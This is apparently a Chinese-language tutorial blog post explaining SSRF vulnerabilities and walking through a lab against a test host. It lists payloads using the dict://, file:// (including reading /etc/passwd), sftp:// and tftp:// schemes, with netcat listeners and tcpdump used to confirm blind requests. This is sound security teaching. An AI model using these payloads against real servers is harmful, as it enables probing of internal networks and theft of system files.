基础知识

  1. SSRF简介
    SSRF(Server-Side Request Forgery,服务端请求伪造),是攻击者让服务端发起构造的指定请求链接造成的漏洞。
    由于存在防火墙的防护,导致攻击者无法直接入侵内网;这时攻击者可以以服务器为跳板发起一些网络请求,从而攻击内网的应用及获取内网数据。

    最常见的例子:攻击者传入一个未经验证的URL,后端代码直接请求这个URL,就会造成SSRF漏洞。

其中SSRF与CSRF的区别

CSRF是服务器端没有对用户提交的数据进行随机值校验,且对http请求包内的refer字段校验不严,导致攻击者可以利用用户的cookie信息伪造用户请求发送至服务器;
SSRF是服务器对用户提供的可控URL过于信任,没有对攻击者提供的URL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或者其它服务器。
SSRF的类型
1)显示对攻击者的响应(basic):在服务器获取攻击者要求的URL后,把响应发送回攻击者。
2)不显示响应(blind):在服务器获取攻击者要求的URL后,不会把响应内容发送给攻击者,需要通过抓包或查看服务器日志判断是否存在服务端请求伪造漏洞。

利用SSRF的攻击

利用SSRF可以实现的攻击
1)获取web应用可达服务器的banner信息(如软件开发商、软件名称等),以及收集内网web应用的指纹识别(如开放的端口、中间件版本等),根据这些信息再进行进一步的渗透;
2)攻击运行在内网的系统或应用程序,获取内网系统弱口令进行内网漫游,对有漏洞的内网web应用实施攻击获取webshell(如Struts2命令执行,discuz!论坛SSRF通过Redis实施getshell等);
3)利用有脆弱性的组件结合ftp://,file:///,gopher://,dict://等协议实施攻击(如FFmpeg任意文件读取,XXE攻击等)。

验证漏洞

对于basic型:可以在输入框中直接输入URL,点击botton后,会和sql报错注入一样返回在页面上
对于blind型:通过服务器日志信息判断
一.Kali机器开启Apache服务:# /etc/init.d/apache2 start
在‘无回显的SSRF’处输入http://10.1.1.200后点击‘TEST IT’,查看kali机器服务器日志信息:# tail -f /var/log/apache2/access.log

可以看到存在一条请求,主机地址为CentOS机器地址,表示存在服务器端请求伪造即SSRF漏洞。
二.利用tcpdump测试:
Kali机器打开一个终端,使用tcpdump抓包:#tcpdump -nne -i eth0 port 6666
-nne:不把端口和网络地址转换成名称,在输出行打印数据链路层的头部信息;
-i:监视指定网络接口的数据包。

同时在‘有回显的SSRF’处输入:http://10.1.1.200:6666,点击‘TEST IT’后可以看到tcpdump的响应:

可以看到请求是从CentOS机器发起的,因此存在SSRF漏洞。

通过dict协议获取服务器端口运行的服务。

  1. 本地利用:kali机器中在终端输入:curl -v ‘dict://127.0.0.1:80’
    curl:一种命令行工具,作用是发出网络请求,获取数据;
    curl -v:显示HTTP通信的整个过程,包括端口连接和HTTP request头信息。
    可以看到本地主机的Apache版本为2.4.38;
    2. 远程利用:在‘有回显的SSRF’处输入dict://127.0.0.1:22
    点击‘TESTIT’后在页面最下方查看响应:

通过file协议访问计算机中的任意文件

本地利用:终端输入:curl -v ‘file:///etc/passwd’

file协议主要用于访问计算机中的文件。
2. 远程利用:在‘有回显的SSRF’处输入:file:///var/www/html/web-1.txt

了解sftp及tftp协议在SSRF中的作用

sftp代表SSH文件传输协议,通过sftp协议获取SSH相关信息:
Kali机器上输入:nc -lvp 1234

   -l:监听入站信息;-p:设置本地主机使用的通信端口;-v:显示指令执行过程。

在‘有回显的SSRF’处输入:sftp://10.1.1.200:1234,点击‘TEST IT’后查看响应信息:

2. tftp即简单文件传输协议,允许客户端从远程主机获取文件:
Kali机器上输入:nc -lvup 6666

   -u:使用UDP传输协议。在‘有回显的SSRF’处输入:tftp://10.1.1.200:6666

点击‘TEST IT’后查看响应信息:

SSRF漏洞验证及利用方法相关推荐

  1. SSRF漏洞介绍及利用

    目录 SSRF简介 SSRF漏洞原理 SSRF漏洞的验证方法 主要用途 产生SSRF的PHP函数 SSRF漏洞常见位置 SSRF漏洞代码分析 实例演示-读取本地文件 SSRF简介 SSRF(serve ...

  2. php phar 混淆,深入理解PHP Phar反序列化漏洞原理及利用方法(一)

    Phar反序列化漏洞是一种较新的攻击向量,用于针对面向对象的PHP应用程序执行代码重用攻击,该攻击方式在Black Hat 2018会议上由安全研究员Sam Thomas公开披露.类似于对编译二进制文 ...

  3. PHP文件包含漏洞原理分析和利用方法

    本文章简单摘要:一.涉及到的危险函数[include(),require()和include_once(),require_once()]include()&&require()语句: ...

  4. 【漏洞复现】phpstudy隐藏后门漏洞的验证与利用

    目录 1 背景 2影响版本 3 漏洞验证与利用 3.1验证 3.2利用:写入webshell 1 背景 phpstudy是国内第一款php后端开发调试集成软件,其将php.apache.mysql.p ...

  5. XXE漏洞漏洞及利用方法解析

    XXE(XML External Entity Injection)即XML外部实体类注入漏洞.XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取. ...

  6. 29.CSRF及SSRF漏洞案例讲解

    文章目录 CSRF&SSRF---漏洞案例讲解 1. CSRF---跨站请求伪造攻击 CSRF漏洞解释,原理 导图 原理详解 CSRF漏洞检测,案例,防御 防御方案 2. SSRF(服务器端请 ...

  7. SSRF漏洞原理解析

    文章目录 0x01 基础知识 1.SSRF漏洞简介: 2.主要攻击方式: 3.漏洞形成原理: 4.漏洞的危害: 0x02 漏洞检测 1.漏洞验证: 2.漏洞的可能出现点: 0x03 绕过方法: 1.绕 ...

  8. 【burpsuite安全练兵场-服务端9】服务端请求伪造SSRF漏洞-7个实验(全)

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  9. CVE-2013-2551漏洞成因与利用分析(ISCC2014 PWN6)

    CVE-2013-2551漏洞成因与利用分析 1. 简介 VUPEN在Pwn2Own2013上利用此漏洞攻破了Win8+IE10,5月22日VUPEN在其博客上公布了漏洞的细节.它是一个ORG数组整数 ...

最新文章

  1. https 请求白屏_记一次HTTPS性能优化
  2. 安装Phoenix时./sqlline.py执行报错File ./sqlline.py, line 27, in module import argparse ImportError: No ...
  3. Android 控件架构及View、ViewGroup的测量
  4. Spartan-6的时钟资源、全局时钟缓冲器/多路复用器
  5. mysql拷贝恢复.frm_通过.frm .ibd文件恢复MySQL数据
  6. 从CNNIC的“中国互联网报告”看到希望
  7. 现代制造工程-考试复习02
  8. jboss4 java_带有JBoss工具的OpenShift 3上的Java EE 7应用程序
  9. 前端学习(1488):jsonp回顾
  10. zynq的emio和axi_【ZYNQ7000学习之旅 - 01】EMIO练习
  11. canvas转化为图片并下载
  12. 用java代码将从数据库中取出的具有父子关系的数据转成json格式
  13. python重复字符串n次的函数_LeetCode_Python(3)_无重复字符的最长子串
  14. TimeUnit类中的sleep() 和Thread.sleep()
  15. BZOJ4659 Lcm
  16. jdbc连接带密码的access数据库
  17. python网课答案查询_网课答案查询助手v1.0
  18. 7段数码管驱动电路设计
  19. c++ 11 原子操作库 (std::atomic)(三)
  20. ARM安装python模块

热门文章

  1. 【地图转换工具类】:GCJ02与WGS84标准转换
  2. Python+Vue计算机毕业设计包头市大学生家教信息中介平台aizx2(源码+程序+LW+部署)
  3. 倾角传感器特点及使用介绍
  4. 计算机专业英语公开课教案,英语公开课心得体会范文(精选10篇)
  5. 详解安装msdn 2015及其注意事项
  6. SQLite,嵌入式数据库
  7. idea构建web项目-超详细教程
  8. jquery实现选项卡效果
  9. Maven仓库的分类及优先级
  10. cesium 三维坐标系绘制